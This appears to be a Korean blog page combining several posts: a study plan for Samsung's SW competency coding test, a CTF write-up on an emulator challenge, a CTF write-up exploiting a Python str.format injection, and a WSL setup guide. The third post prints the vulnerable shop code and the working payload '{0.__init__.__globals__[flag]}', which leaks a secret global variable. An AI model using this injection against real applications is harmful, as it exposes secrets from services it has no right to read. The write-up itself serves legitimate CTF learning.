이미 알고리즘 문제를 풀거나 코딩을 예전부터 즐겨 하시거나, 어렸을때 정보올림피아드를 해보셨거나, 코딩대회에서 상을 타시고 하시는 이런 이미 내공이 출중하신 분들은 이미 고등학생이나 대학생 이상의 수준이라서, 기출문제를 심심풀이로 몇개 풀어보시고 시험을 치시면 간단하게 합격 하실 수 있으실 겁니다.

 

하지만 아마 이 글을 보고 계신 분들은 다양한 실력의 스펙트럼을 가지고 계시겠지만, 방금 언급한 능력자분들일 가능성은 조금 낮다고 생각합니다. (팩트폭행 죄송합니다)

 

따라서 요점은, 자신의 수준에 맞는 난이도의 공부 자료로 공부를 해야지 의욕을 잃지 않으면서 꾸준히 공부하기에 좋을 것이라고 생각합니다.

 

 

 

저자의 추천 공부 커리큘럼

 

그래서 제가 추천하는 커리큘럼은 다음과 같습니다. 그리고 이 글에서는 2~3단계에 대하여 공부하는 분들에게 필요한 추천 리소스와 방법들을 제공합니다.

 

1-1. 프로그래밍 언어에 익숙해지는 단계

- 만약 본인이 이 단계에 해당한다면, 아마 컴퓨터공학과 1학년 학부생이거나, 코딩 공부를 막 시작한 비전공자에 해당할 것입니다. 이 단계에서 공부하는 부분은 안타깝게도 이 글에서는 설명하지 않습니다.

1-2. 기초적인 자료구조와 알고리즘을 배우는 단계

대학교 컴퓨터공학부 2학년쯤에 배우는 자료구조 및 알고리즘 수업에서 배우는 것들을 한번 배워보는 단계에 해당합니다. 기본적인 자료구조로 스택, 큐, 링크드 리스트 등은 기본적으로 알아야 하며, 시간 및 공간 복잡도 개념과 점근적 표기법에 대하여 알아야 합니다. 그리고 그래프 탐색 알고리즘인 DFS, BFS에 대하여 알아야 하고, 완전탐색 및 백트래킹에 대하여 알면 좋습니다.

또한 비트연산자와 컴퓨터에서 정수 및 실수를 어떻게 표현하는지, 등의 개념도 숙지하고 있으면 좋습니다. 

이러한 내용들을 모르시는 분들은 이 글 외의 자료를 찾아서 공부해보시길 추천드립니다.

이 단계에서 "도움이 될 수 있는 책"에 대해 추천드립니다.

2-1. 초급 난이도에 해당하는 다양한 문제들을 풀어보는 단계

○ 추천하는 문제 풀들

> 정보올림피아드 초등부 문제들

> 코드포스 문제들

2-2. A형과 출제 범위, 난이도 및 유형이 비슷한 문제들을 풀어보는 단계

- 하단에 관련 문제 목록들을 올려놓았습니다.

3. 시험장 분위기에 익숙해지는 단계

- 이 단계는 이미 실력적으로는 A형을 맞출 수 있는 단계라고 생각합니다.

- 다만 이 단계에서는 오프라인에 3시간이라는 제한시간이 있는 시험 환경에 익숙해지는 훈련이 필요합니다.

- 잘 하는 사람이라도, 긴장하거나 하면 알던 문제도 실수하고 해법이 떠오르지 않거나 하거든요.

 

 

프로그래밍 언어에 익숙해지는 단계에 있는 분이 공부하는 법에 대해서는 이 글에서는 설명하지 않겠습니다.

(이 글을 보시는 모든 분들이 1-1단계는 모두 지났다고 가정하고 설명을 드리겠습니다.)

 

1-2단계 "기초적인 자료구조와 알고리즘을 배우는 단계"의 공부법

원래 이 단계의 공부법은 따로 언급하지 않으려고 했으나, 좀 더 다양한 분들에게 도움이 되는 글이 되기 위해서 이 부분을 작성을 해 볼까 합니다.

 

이 부분은 일반적인 컴퓨터공학과를 전공한 학생이 1,2학년때 수강하게 되는 "자료구조", "알고리즘" 수업 범위에 해당하는 부분입니다.

 

이 단계에서 반드시 이해하고 넘어가야 하는 개념들의 키워드를 나열해 놓을 테니, 관련 개념에 대하여 학습한 뒤 어느정도 이해도가 충족 되면 다음 단계인 2단계로 넘어가시면 좋습니다.

 

필수 학습 개념들

  • 알고리즘의 시간 복잡도(Time Complexity) 및 공간 복잡도(Space Complexity) 개념 및 점근적 표기법(Asymptotic Notation)
  • 컴퓨터 기초 - Bit연산과 정수 및 소수 표현(Bit manipulation)
  • 프로그래밍 언어 기초 - 재귀함수(Recursion function)
  • 자료구조 - 스택(Stack)
  • 자료구조 - 큐(Queue)
  • 자료구조 - 트리(Tree)
  • 자료구조 - 그래프(Graph)
  • 알고리즘 - 그래프 탐색 알고리즘(DFS:Depth First Search)
  • 알고리즘 - 그래프 탐색 알고리즘(BFS:Breadth First Search)
  • 알고리즘 - 완전 탐색(Brute-force / Exhaustive Search)

추가적으로 학습하면 좋은 개념들

아래 나오는 항목들은 필수적인 항목들은 아니지만, 잘 알고 있으면 A형을 안정적으로 취득할 수 있도록 도와주는 개념들입니다.

  • 알고리즘 - 백트래킹(Backtracking)
  • 구현 팁 - Run-Length 인코딩
  • 구현 팁 - 비트마스킹(Bitmasking)
  • 알고리즘 - 다익스트라 최단경로 알고리즘(Dijkstra shortest path algorithm)
  • 알고리즘 - 다이나믹 프로그래밍 기초(Dynamic programming)
  • 개념, 팁 - 상태 모델링(State Modeling)
  • 라이브러리 - C++ STL(Standard Template Library) 중 vector, queue, sort, priority_queue 등
  • 자료구조 - 우선순위 큐
  • 알고리즘 - 이진 탐색(Binary search)

 

 

 

2-1단계 "초급 난이도에 해당하는 다양한 문제들을 풀어보는 단계" 공부법

 

우선은 2-1에 해당하는 "초급 난이도에 해당하는 다양한 문제들을 풀어보는 단계"를 진행하시기를 추천드립니다.

 

"다양한 문제들 + A형 문제와 출제 유형 등이 비슷한 문제들" 등을 풀면서 공부를 하면 됩니다.

 

출제 유형이 비슷한 문제들만 푸는 것이 아닌, 다른 다양한 문제들도 많이 풀으라고 권장을 드리는 이유는

 

크게 두가지가 있습니다.

 

1. 다른곳에서도 통하는 실력

- 다양한 문제를 풀이하면서 쌓은 실력은, 삼성전자 입사를 위한 SW역량테스트/상시테스트 뿐만 아니라 다른 회사를 입사하기 위한 알고리즘 테스트/코딩테스트 및 각종 알고리즘 대회 등에도 도움되는 역량입니다. 물론 원하는 회사에 입사하는 것도 중요하지만, 다른 회사로 가는 가능성도 열어두면 나쁠것은 없겠죠?

-> 특히나 삼성 SW역량테스트의 문제 유형은 고정된 것 같지만, 시간이 지날 수록 유형이 조금씩 변화하는 모습도 보이기도 합니다. 따라서 기출문제 풀이에만 안주하기 보다는 꾸준히 공부하는 것이 더 안정적입니다.

 

2. SW 문제풀이 실력의 안정성 향상

- 출제 유형에만 맞는 문제를 풀이하다 보면, 해당 유형에 맞지 않는 문제를 보았을 때 맞출 확률이 현저히 떨어지게 됩니다. 또한 풀줄 아는 것 만 풀다 보면 문제를 조금만 꼬아서 내도 크게 당황하게 되지요. 따라서 같은 A형 문제를 보더라도 언제는 맞추고 언제는 틀리는 실력을 갖기 보다는, 항상 문제를 풀어낼 수 있는 실력을 갖추는 것이 중요합니다. 이러한 안정적인 실력을 갖추기 위해서는 다양한 문제들을 풀어보는 것이 도움이 많이 됩니다.

또한 이러한 실력이 쌓이게 되면, 자신감도 같이 붙게 되기 때문에 시험장에서 긴장도 덜 하게 됩니다.

 

 

저는 이러한 문제들 중 일단은 "다양한 문제들"에 해당하는 문제 풀을 추천드리려고 합니다.

 

 

이러한 문제중에서는 일단은 특히나 정보올림피아드 초등부 문제들을 추천합니다.

 

백준저지에 가시면 문제들이 거의 다 올라와있는데요, https://www.acmicpc.net/category/55

 

한국정보올림피아드

 

www.acmicpc.net

 

96년도부터 2018년도까지만 다 풀어도 23개년어치입니다. 매년 3~4문제 정도가 있으니, 대충 100문제가 안되는 수의 문제들입니다.

 

 

 

이제 정올 초등부 문제를 추천하는 이유들을 나열해보겠습니다.

 

난이도가 단계적이다

각각의 기출들은 3~4문제로 이루어져있는데 문제가 1,2,3,4 번이 있다면 난이도는 1 < 2 < 3 < 4 식이고, 4번 문제 쯤 되면, 솔직히 SW역량테스트보다 난이도가 어려운 경우도 있다고 생각합니다.

처음 풀다보면 1번 문제만 풀 수 있다가, 공부를 함에 따라서 2번도 풀었다 못풀었다 하기도 하고, 나중에는 1~2번 문제는 껌으로 풀고 3번문제를 풀었다 못풀었다 하고 하는 식으로 실력이 느는 것을 체감하기에도 쉽지요.

SW역량 테스트를 쉽게 통과하려면 3번문제까지는 쉽게 풀고 4번 문제는 가끔 풀 수 있는 실력정도는 되어야 한다는 개인적인 의견이 있습니다.

 

문제 출제 범위가 SW역량 테스트와 비슷하다.

정보올림피아드 초등부의 경우는 간단한 수학문제, 구현(시뮬레이션), 완전탐색(DFS, BFS), 간단한 DP 및 그리디 정도가 출제 범위입니다. 중고등부로 넘어가게되면 세그먼트 트리와 같은 고급 자료구조와, 유량 문제 등이 등장하게 되는데 이는 SW역량 테스트의 출제 범위와 한참 벗어나 있습니다. 절대 안나온다는 뜻이죠.

SW역량 테스트의 경우는 완전탐색과 구현(시뮬레이션) 문제에서 99% 나온다고 보실 수 있습니다. 출제 범위가 참 비슷하지요?

 

SW역량테스트에 비해 문제 푸는 피로도가 덜하다

A형에서는 조금 체감이 덜 될 수도 있는데, 정보올림피아드 문제들은 SW역량테스트에 비해서 사람을 귀찮게하는 요소들이 좀 덜한 편입니다. 문제 하나하나 풀 때 마다 체력 소모가 크다면, 계속해서 공부해야하는 입장에서 빨리 지치겠지요? 정보올림피아드 문제가 좀 더 가벼운 느낌으로 재미있게 풀면서 코딩 스킬 / 알고리즘 스킬 / 컴퓨팅 사고 능력을 기르기에 적합합니다.

 

공인된 문제 + 적절한 퀄리티 + 쉽게 구할 수 있는 풀이 + 공개된 TestCase

공인된 문제므로 일정 이상의 퀄리티는 나올것이며, 유명한 문제이니 만큼 풀이도 쉽게 구할 수 있는 것은 자명합니다.

그리고 정올 사이트 (http://www.jungol.co.kr/)에서 기출문제 탭에서 문제를 풀게 되면, 틀린 TestCase도 직접 눈으로 확인해볼 수 있습니다. 백준에서 공개되지 않는 TestCase를 보고 맞왜틀(맞은것 같은데 왜 틀리죠?) 맞왜틀 노래를 부르는 것 보단 훨씬 도움이 될만한 자료가 많다는 것을 알 수 있습니다.

 

정공법 공부에 가깝다

이 이야기는 무슨 이야기냐 하면, 사실 코딩 / 알고리즘 문제 풀이를 잘 하려면 문제를 많이 풀어봐야 합니다. 기출문제만 푸는 식으로 공부를 하면 조금 꼬아서 내는 구현형 문제가 나왔을때 당황을 하거나 하는 경우가 많죠. 즉 비슷한 난이도의 문제인데, 어떨때는 풀 수 있고 어떨때는 못 푸는 경우, 사실은 그 난이도의 문제를 정ㅋ벅ㅋ 한 것은 아니란 것이죠. 정보올림피아드 초등부 문제를 다 풀어보고 이해하고 내것으로 만들 정도의 공부량이면 SW역량 테스트는 정ㅋ벅ㅋ 가능할 것 이라는 개인적인 사견이 있습니다. 최소 이정도 난이도에 이정도 개수의 문제는 풀어봐야 단단한 실력을 갖는다 라는 생각이지요.

 

반드시 이해하고 넘어가세요

사실 23개년 문제 4문제씩은 많은 양이 아닙니다. 따라서 못푸는 문제의 풀이를 듣게 되면 열심히 이해해서 본인 것으로 만들어 주세요. 당연한 이야기 같기도 합니다. 코딩을 단순히 많이 한다고 느는 것이 아니라, 중고등학교때 수학문제를 풀듯이 하나하나 제대로 이해하고 넘어가고, 문제를 풀기 위해 사고하는 과정에서 많이 성장하는 것입니다.

 

 

 

2-2단계 "A형과 출제 범위, 난이도 및 유형이 비슷한 문제들을 풀어보는 단계" 공부법

2-1단계에서 초급문제들을 풀어가면서 어느정도 실력을 쌓았다면, 이제는 A형 유형과 더 비슷한 문제들을 풀어줍니다.

많이 풀 수록 좋기도 하겠지만, 2-1단계에서 탄탄한 실력을 쌓았다면 문제 하나하나 풀어보면서 A형 문제 스타일을 음미한다는 느낌으로 풀면서 즐겨주세요.

 

2-2단계에 해당하는 문제들이 처음에는 조금 낯설수는 있지만 몇개만 풀어봐도 금방 익숙해지고 풀만하다는 느낌이 든다면, 2-1단계에서 공부가 잘 된 것입니다.

 

관련 문제들을 계속해서 풀어봐도 막막하고, 풀이를 봐도 매우 이해하기 힘들다면 2-1단계로 다시 돌아가시는게 좋습니다. 

 

2-2단계에서 풀만한 추천 문제들은 아래에 있습니다.

 

A형에서 주로 나오는 문제 유형은 대부분 모든 경우의 수를 다 찾아보는 완전탐색(Exhaustive Search 혹은 Brute-Force Algorithm이라고도 합니다)문제와 하나하나 그대로 따라해보는 시뮬레이션 문제, 그리고 고급 알고리즘 보다는 코딩 구현 능력을 필요로하는 구현형 문제들이 많이 나옵니다.

 

동적 계획법(Dynamic Programming)문제들은 거의 나오지 않고, 동적 계획법으로 풀 수 있는 문제가 나올 수는 있지만, 그 문제는 완전탐색으로도 풀 수 있는 문제일 것입니다.

 

 

> BFS

http://boj.kr/1697

http://boj.kr/12851

http://boj.kr/13549

http://boj.kr/13913

http://boj.kr/2178

http://boj.kr/2206

http://boj.kr/5014

http://boj.kr/3055

http://boj.kr/9376

http://boj.kr/9328

http://boj.kr/1857

http://boj.kr/14226

http://boj.kr/1261

 

> DFS

http://boj.kr/10974

http://boj.kr/10971

http://boj.kr/9095

http://boj.kr/1759

http://boj.kr/9663  /  풀이

http://boj.kr/1987

http://boj.kr/1182

http://boj.kr/14391

http://boj.kr/13460

http://boj.kr/12100

 

> 시험과 비슷한 유형 문제들

http://boj.kr/14501 퇴사  /  풀이

http://boj.kr/14888 연산자 끼워넣기 /  풀이

http://boj.kr/14889 스타트와 링크  /  풀이

http://boj.kr/14890 경사로  /  풀이

http://boj.kr/14891 톱니바퀴  /  풀이

http://boj.kr/16235 나무 재테크  /  풀이

http://boj.kr/16236 아기상어  /  풀이

http://boj.kr/17135 캐슬 디펜스  /  풀이

http://boj.kr/17406 배열 돌리기 4  /  풀이

http://boj.kr/17471 게리맨더링  /  풀이

http://boj.kr/17472 다리만들기 2  /  풀이

 

3단계 "시험장 분위기에 익숙해지는 단계" 공부법

마지막 단계입니다. 오히려 2-2단계까지는 잘 마무리하고 나서 3단계에서 잘 안되어서 떨어지곤 하는 경우가 꽤 있을 수 있다고 생각합니다.

 

실제로 제 주변 지인중에는, 충분히 A형을 취득할만한 실력이 된다고 생각되는 분인데 A형이나 SW역량테스트에서 떨어지곤 하는 모습을 본 적이 있습니다.

 

이는 오프라인 시험이라는 환경에 익숙치 않고 자신감이 떨어져 있는 상태라서 그런 경우가 많다고 생각합니다.

 

A형시험과 SW역량테스트는 3시간짜리 제한시간이 있는 시험이고, 평소에 코딩하지 않는 환경에서 이루어지는 오프라인 시험입니다.

 

특히나 SW역량테스트 같은 경우에는 "이번에 시험에 떨어지면 다시 6개월간 다시 준비해야 한다"라는 압박감 때문에 과도한 심리적 위축이나 긴장이 생길 수 있습니다.

 

특히나 이런 상태에서 조금 난해한 구현형식의 문제나, 처음 보는 것 같은 유형의 문제가 나타나게 되면 크게 당황하게 되고 패닉상태에 빠집니다.

 

심호흡을 하고 한번 더 생각해보면 실수하지 않을 것도 심리적인 이유로 실수를 해버리거나, 머릿속이 하얗게 질려버려서 해법이 떠오르지 않을 수 있죠.

 

그럴 때 일 수록 다시한번 생각해 보고 마음을 가다듬어야 합니다. 하지만 이 방식은 시험장에서 사용해야 하는 방법이고, 시험 전이라면 이런 부분을 좀 더 연습을 해 보아야겠죠.

 

이러한 부분에 있어서 저자가 추천하는 방법이 있습니다.

 

바로 코드포스 컨테스트에 참여하는 것입니다. (http://codeforces.com)

 

이게 왠 쌩뚱맞은 소리인가 싶을 수도 있지만, 일단 제 경험에 비추어서 설명드리겠습니다.

 

코드포스는 러시아에서 운영하는 온라인 코딩대회 플랫폼이라고 보시면 됩니다. 월 6회 정도 온라인 콘테스트를 여는데요, 보통 2시간 정도 콘테스트가 진행됩니다.

 

이 콘테스트도 제한시간이 있으니 이 시험을 수능 모의고사 마냥 푼다고 생각하고 집에서 컴퓨터 주변을 정돈하고 마음을 가다듬은 뒤 콘테스트에 참여 해 보는겁니다.

 

시간제한이 있는 시험환경을 몇 번 경험해보면서 마인드 컨트롤하는 능력을 기르는 것이지요.

 

특히나 코드포스의 경우는 콘테스트를 참여할때 제출을 할 시 Pretest Passed나 Wrong Answer과 같은 피드백을 주는데,

 

Pretest Passed라고 하더라도, 콘테스트가 끝난 뒤 System Test를 했을 때 틀리는 경우가 있을 수 있습니다.

Pretest에 사용되는 TestCase가 허술하기 때문이지요.

 

따라서 본인이 정확한 알고리즘을 딱 내서 제출할 수 있는 실력이 되어야지 안정적으로 문제를 풀고 점수를 가져갈 수 있습니다.

 

저는 실제로 코드포스를 하면서 초반에는 적당히 될 것 같은 알고리즘으로 짜서 냈다가, System Test에서 계속 틀리는 것을 확인하고, 좀 더 정확하고 꼼꼼한 알고리즘을 설계하는 습관이 생겼습니다.

 

그리고 시간 제한이 있는 컨테스트를 해 보면 그 시간만큼은 확실하게 집중하게 됩니다.

 

일단 한번 참여해보는 것을 추천드립니다.

 

 

 

그리고 길고 장황한 글 다 읽으시느라 고생하셨고, 만약 이 글이 도움이 되셨다면 공감과 댓글 하나씩만 남겨주세요.

X-mas CTF 2019 Emulator - Emu 2.0 Problem write -up

http://xmas.htsp.ro/

 

 

English Write-up

 

This problem is categorized as "Emulator". Following the link provided, there are a rom file and Emu2.0 spec document pdf file.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

Maybe rom file is binary file which can be executed the machine Emu 2.0, pdf file contains the information about the Emu 2.0 Machine.

 

This problem is actually programming challenge.

 

There is no special solution, just implementing the Emu2.0 with the pdf file specification and insert the rom data to the emulator.

 

I tried to implement Emu 2.0 machine, but I did some trial and error with some cases.

1. Instruction size of 2byte, thus hex code "2X XX" denotes, upper 4bit is opcode, the other 12bit is operand. But I misunderstood as 8bit opcode and 8bit operand. T.T

 

 

2. Endianness.

My machine is little endian. But the document assumes reader will know that it is big-endian.

I/O instruction which is mandatory to print the flag, is denoted as 13 37 itself when I check the rom binary with "xxd" command, that's why I can certain this rom is aligned as big-endian.

Then, I should program the Emu 2.0 fit to the big-endian

 

 

3. Instruction memory and data memory is combined.

I implemented both as separated ones, but something goes wrong when I executed the semi-final version Emu2.0, I re-inspect the document. 

In the memory part, it inform us that memory is unique, which can be used as instruction memory and also as data memory.

 

"including storing the instructions it needs to execute and the data it needs to process."

There is no segmentation!

 

4. Undefined Instruction

There is a sentence about the undefined instruction handling.

 

 

Conclusion => You should read document carefully. There is all you need!

 

Emulator source code is attached below.

 

한글 풀이

 

Emulator 카테고리에 있는 문제이다. 링크가 제공된 구글 드라이브로 이동해 보니, rom이라는 파일과 docs pdf 파일이 있다.

 

https://drive.google.com/drive/folders/1O2cPJq56G0APoBIAOhXuxJsXE11WCmu-?usp=sharing

 

Emu 2.0 - Google 드라이브

 

drive.google.com

 

rom 파일은 아마 에뮬레이터 스펙대로 동작하는 바이너리 파일일 것이고, pdf파일에는 에뮬레이터 작성에 필요한 정보들이 들어있을 것이다.

 

사실상 코딩문제에 가깝다고 볼 수 있다.

 

문제 풀이법은 특별한 내용은 없고, 단지 pdf에 있는 스펙대로 에뮬레이터를 작성해서 rom을 넣어버리면 된다.

 

 

직접 구현하면서 문서를 제대로 안읽어서, 혹은 이해를 제대로 안해서 몇번의 삽질을 했는데 대충 다음과 같은 부분에서 삽질을 좀 했다.

1. instruction이 2바이트인데, Hex Code가 2X XX 와같은 방식인 경우, 최상단 4bit가 Instruction opcode을 나타내고, 나머지 12bit가 operand를 나타낸다. 근데, 8bit / 8bit이 opcode / operand인줄 알고 다시 짯다.

 

2. endianness 때문에 햇갈렸었다. 근데 xxd 커맨드로 롬을 확인해보니, I/O때문에 필수적인 instruction인 13 37라는 Hex Code가 그대로 나오는 것으로 보이서, Hex code가 xxd 커맨드로 보이는 것 기준이라는 것을 알게 되었다. 따라서 little endian인 내 머신에서는 위치를 맞추어 주어야 했다.

3. Instruction Memory와 Data Memory가 따로 분리되어 있지 않았다. 맨처음에 분리해서 구현했다가, 합쳐줘야지 한다는 것을 2.2 Memory 파트를 보고 알았다.

including storing the instructions it needs to execute and the data it needs to process.

같은 메모리에 적재되어야 했다.

 

4. Undefined instruction을 어떻게 처리하느냐에 대한 내용을 구현안해서 거의 다 짜놓고도 삽질을 좀 했다.

 

 

결론은 문서를 잘 읽자! 라는 결론이 나왔다.

 

 

Flag: X-MAS{S4nt4_U5e5_An_Emu_2.0_M4ch1n3}

https://pt.slideshare.net/Baekjoon/python-urllib

불러오는 중입니다...

 

https://dgkim5360.tistory.com/entry/python-requests

불러오는 중입니다...

 

English write-up

 

You can find the menu below when connect to the problem server with nc.

 

If you choose menu No.3, the server reply the source code.

 

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

With menu No.1 you can add some items to the entry, you can print them out with menu No. 2.

 

At first, I paid attention to code part with comment "# Too lazy to sanitize this", because I thought that is a hint from the problem setter. But there wasn't nothing special there.

 

Near the function "print_decoration", there is a code line uses python format function. Although I didn't know about  python format string grammer precisely, but there is no consistency between "quantity value" and "type value".

Because "quantity value" is injected into the string with format string, but "type value" is inserted into the string with string concatenation. It seems very suspicious.

 

Finally, I found there is format string bug on that line.

print ('{0.quantity} x ... '+ self.type).format(self)

0 inside curly brace means the 0-indexed parameter of format function. In this case, 0 means "self" parameter which is Decoration object.

Thus, 0.quantity means "quantity" property of self object.

 

self.type value is inserted to the string with string concatenation, we can insert another format string.

The our custom format string will be evaluated with format function.

 

If you insert {0.__init__.__globals__[flag]} to type value, you can find the value of flag which is global variable.

 

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

Gotcha!

We've got flag "X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}"

 

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

 

 

한국어 풀이

 

MISC 문제이다. nc로 접속해보면 다음과 같은 메뉴들이 나타난다.

 

3번 메뉴를 선택하면, 소스코드를 알려준다.

import os, sys
from secret import flag

items = []

def menu():
        print "SANTA's Decoration shop yay!"
        print "1. Add new decoration to the shopping list"
        print "2. View your shopping list"
        print "3. Ask Santa for a suggestion"

        sys.stdout.write ("Your choice: ")
        sys.stdout.flush ()
        return sys.stdin.readline ()

class Decoration(object):
        def __init__(self, type, quantity):
                self.quantity = quantity
                self.type = type
        def print_decoration(self):
                print ('{0.quantity} x ... '+ self.type).format(self)

def leak_source_code():
        print "Santa shows you how his shop works to prove that he doesn't scam you!\n\n"

        with open(__file__, 'r') as f:
                print f.read()

def add_item():
        sys.stdout.write ("What item do you like to buy? ")
        sys.stdout.flush ()
        type = sys.stdin.readline ().strip ()

        sys.stdout.write ("How many of those? ")
        sys.stdout.flush ()
        quantity = sys.stdin.readline ().strip () # Too lazy to sanitize this

        items.append(Decoration(type, quantity))

        print 'Thank you, your items will be added'

def show_items():
        for dec in items:
                dec.print_decoration()

print ("""           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \\    )"";--`\\ /
     \\        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`
     """)

while True:
        choice = menu().strip ()

        if(choice == '1'):
                add_item()
        elif(choice == '2'):
                show_items()
        elif(choice == '3'):
                leak_source_code()
        else:
                print "Invalid choice"

 

1번 메뉴를 이용해서 아이템들을 추가할 수 있고, 2번 메뉴를 통해서 추가된 아이템들을 출력해볼 수 있다.

 

소스코드중에서 주석 처리된 부분 # Too lazy to sanitize this라는 부분이 힌트인줄 알고 계속 보았는데, 이 부분은 별다른 내용은 없었다.

 

2번 메뉴중 print_decoration부분에서 python format string에 format 함수를 이용해서 입력하는 부분이 있는데, 해당 문법을 몰라서 감을 못잡다가, 해당 부분에 포맷 스트링 버그가 있는 것을 알 수 있었다.

 

print ('{0.quantity} x ... '+ self.type).format(self)

위 부분에서 self.type을 붙여서 format 스트링을 만든 뒤, format함수를 통해서 evaluation이 되게 되는데, {0.quantity}의 의미는 format 함수의 0번째 인자의 quantity 프로퍼티를 뜻한다.

 

self는 Decoration 객체를 뜻하므로, self.type에 {0.__init__.__globals__[flag]}라는 값을 입력시킨 뒤 출력하게 만든다면 전역변수 flag에 있는 값을 출력시킬 수 있게 된다.

           ___
         /`   `'.
        /   _..---;
        |  /__..._/  .--.-.
        |.'  e e | ___\_|/____
       (_)'--.o.--|    | |    |
      .-( `-' = `-|____| |____|
     /  (         |____   ____|
     |   (        |_   | |  __|
     |    '-.--';/'/__ | | (  `|
     |      '.   \    )"";--`\ /
     \        ;   |--'    `;.-'
     |`-.__ ..-'--'`;..--'`

SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 1
What item do you like to buy? {0.__init__.__globals__[flag]}
How many of those? 123
Thank you, your items will be added
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice: 2
123 x ... X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5}
SANTA's Decoration shop yay!
1. Add new decoration to the shopping list
2. View your shopping list
3. Ask Santa for a suggestion
Your choice:

flag는 X-MAS{C_15n7_th3_0nly_vuln3rabl3_l4nngu4g3_t0_f0rm47_57r1ng5} 이다.

 

References

https://python-forum.io/Thread-str-format-security-vulnerability

WSL이 지원됨에 따라 Windows에서도 bash를 사용할 수 있다고 한다.

 

설정하는 김에 따라해보자.

 

시작메뉴에서 "개발자"라고 검색한다.

 

개발자 설정으로 들어간다.

 

개발자 모드를 클릭하면 경고창이 뜨는데 "예"를 누른다.

혹은 아래와 같이 나타나는데, 개발자 모드를 "켬" 으로 바꾸어준다.

 

시간이 조금 걸린다.

 

 

조금 기다리면, 개발자 모드 패키지가 설치되었다고 뜬다.

이제 다시 시작메뉴에서 "windows 기능"이라고 검색한다. 윈도우즈랑 기능 사이에 스페이스바 한칸이 들어가야 한다.

 

Linux용 Windows 하위 시스템을 체크한다. WSL이 Windows Subsystem for Linux의 약자로 한글로 번역된 내용이 Linux용 Windows 하위 시스템이다.

 

재부팅을 하라고 하는데, 지금 할거면 "다시 시작"을 누르고 나중에 할거면 "다시 시작 안함"을 누르면 된다.

 

cmd창을 열고 bash라고 쳐 보니, bash가 설치되어 있지 않다고 한다.

웹 브라우저에 aka.ms/wslstore라고 치니 스토어 앱이 열린다.

 

 

필자는 ubuntu를 설치하기로 했다.

저기 보이는 무료라는 버튼을 누르면 설치가 된다.

설치가 되고 있는 모습이다.

설치가 다 되어서, 실행 버튼을 눌러 보았다.

유닉스 사용자명을 만들라고 하는데, 윈도우랑은 달라도 된다.

다 된 모습이다.

이제 아무 cmd를 열어서 bash라고 쳐도 Win bash가 실행된다.

 

끝!

+ Recent posts